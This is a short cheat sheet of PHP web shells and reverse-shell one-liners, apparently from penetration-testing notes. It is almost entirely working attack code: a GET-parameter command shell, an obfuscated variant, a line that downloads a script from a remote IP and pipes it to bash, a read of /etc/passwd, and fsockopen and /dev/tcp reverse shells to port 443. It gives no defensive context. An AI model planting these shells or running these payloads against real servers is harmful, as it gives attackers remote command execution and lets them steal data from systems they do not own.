PHP Web Shells
Basic
<?php system($_GET['cmd']);?>Command Execution
<?php system('hostname'); ?>
<?php system('ping -c1 10.10.14.12'); ?>
<?php system('wget -qO- 10.10.14.12/r | bash'); ?>File Read
<?php file_get_contents('/etc/passwd'); ?>Page Source Code Modification
system($_GET[0]);Obfuscated
<?php system($_GET['dcfdd5e021a869fcc6dfaef8bf31377e']); ?>PHP webshell on kali by default
/usr/share/webshells/php/php-reverse-shell.phpphp reverse shell
php -r '$sock=fsockopen("10.10.14.52",443);exec("/bin/sh -i <&3 >&3 2>&3");'One Line
<?php passthru("/bin/bash -c 'bash -i &>/dev/tcp/10.10.14.52/443 0>&1'") ?>In Page webshell, when you can edit the source
Windows web shell
https://github.com/Dhayalanb/windows-php-reverse-shell/blob/master/Reverse%20Shell.php
In Page webshell, when you can edit the source (windows)
Last updated